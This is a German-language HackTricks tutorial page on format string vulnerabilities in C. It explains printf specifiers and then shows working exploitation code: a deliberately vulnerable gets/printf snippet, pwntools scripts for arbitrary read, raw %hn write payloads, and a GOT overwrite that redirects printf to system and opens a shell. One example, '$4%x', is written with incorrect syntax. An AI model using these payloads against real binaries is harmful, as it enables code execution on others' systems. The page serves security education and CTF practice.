hacktricks/binary-exploitation/format-strings/README.md

168 lines
9.4 KiB
Markdown

# Format Strings
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich den [**offiziellen PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
</details>
## Grundlegende Informationen
In C ist **`printf`** eine Funktion, die verwendet werden kann, um einen **String zu drucken**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden erwarteten Parameter** sind die **Werte**, die die **Formatierer** des Rohtexts **ersetzen** sollen.
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erster Argument** dieser Funktion verwendet wird. Der Angreifer kann einen **speziellen Eingabe missbrauchen**, um die **Fähigkeiten der printf-Formatzeichenfolge** zu nutzen, um Daten zu lesen und **in jede Adresse zu schreiben (lesbar/schreibbar)**. Auf diese Weise kann er **beliebigen Code ausführen**.
#### Formatierer:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Beispiele:**
* Verwundbares Beispiel:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* Normale Verwendung:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* Mit fehlenden Argumenten:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
### **Zugriff auf Zeiger**
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
```c
printf("%x %x %x %x")
```
und Sie würden vom ersten bis zum vierten Parameter lesen.
Oder Sie könnten Folgendes tun:
```c
printf("$4%x")
```
und lesen Sie direkt den vierten.
Beachten Sie, dass der Angreifer den `pr`**`intf`-Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stapel ist, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.
{% hint style="danger" %}
Ein Angreifer, der diese Eingabe kontrolliert, kann **beliebige Adressen im Stapel hinzufügen und `printf` dazu bringen, darauf zuzugreifen**. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann.
{% endhint %}
## **Beliebiges Lesen**
Es ist möglich, den Formatter **`$n%s`** zu verwenden, um **`printf`** die **Adresse** zu erhalten, die sich an der **n-Position** befindet, und sie dann **als Zeichenfolge auszugeben** (ausgeben, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei **`0x8048000`** ist und wir wissen, dass die Benutzereingabe in der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit auszugeben:
```python
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenkette am Ende dieser Adresse mit 0x00 abgeschnitten wird.
{% endhint %}
## **Willkürliches Schreiben**
Der Formatter **`$<num>%n`** schreibt die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, kann er **`$<num>%n`** dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.
Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Es ist möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die Position `num`** angegeben ist.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) **`$hn`** anstelle von `$n` verwendet wird. Dies ermöglicht es, **nur 2 Bytes zu schreiben**. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle das **Schreiben beliebiger Daten an beliebige Adressen (beliebiges Schreiben)**.
In diesem Beispiel soll das Ziel sein, die **Adresse** einer **Funktion** in der **GOT-Tabelle** zu **überschreiben**, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen beliebiger Schreibvorgänge missbrauchen könnte:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Wir werden eine **Funktion überschreiben**, die ihre **Argumente** vom **Benutzer erhält**, und sie auf die **`system`**-**Funktion** umleiten.\
Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
* **HOB** bezieht sich auf die 2 höheren Bytes der Adresse
* **LOB** bezieht sich auf die 2 niedrigeren Bytes der Adresse
Dann, aufgrund der Funktionsweise von Formatstrings, müssen Sie zuerst das kleinere der beiden \[HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB\
`[Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]`
Wenn HOB > LOB\
`[Adresse+2][Adresse]%.[LOB-8]x%[Offset+1]\$hn%.[HOB-LOB]x%[Offset]`
HOB LOB HOB\_Shellcode-8 NºParam\_dir\_HOB LOB\_Shell-HOB\_Shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
### Pwntools Vorlage
Sie können eine **Vorlage** finden, um einen Exploit für diese Art von Schwachstelle vorzubereiten unter:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
Oder dieses grundlegende Beispiel von [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Format Strings zu BOF
Es ist möglich, die Schreibaktionen einer Format-String-Schwachstelle zu missbrauchen, um **Adressen des Stacks zu schreiben** und eine Schwachstelle vom Typ **Buffer Overflow** auszunutzen.
## Weitere Beispiele & Referenzen
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 Bit, kein Relro, kein Canary, NX, kein PIE, grundlegende Verwendung von Format-Strings zum Auslesen der Flagge vom Stack (keine Notwendigkeit, den Ausführungsfluss zu ändern)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Überschreiben der Adresse `fflush` mit der Win-Funktion (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Schreiben einer Adresse innerhalb von `main` in `.fini_array` (damit der Fluss 1 Mal mehr zurückkehrt) und Schreiben der Adresse von `system` in die GOT-Tabelle, die auf `strlen` zeigt. Wenn der Fluss zu `main` zurückkehrt, wird `strlen` mit Benutzereingabe ausgeführt und zeigt auf `system`, um die übergebenen Befehle auszuführen.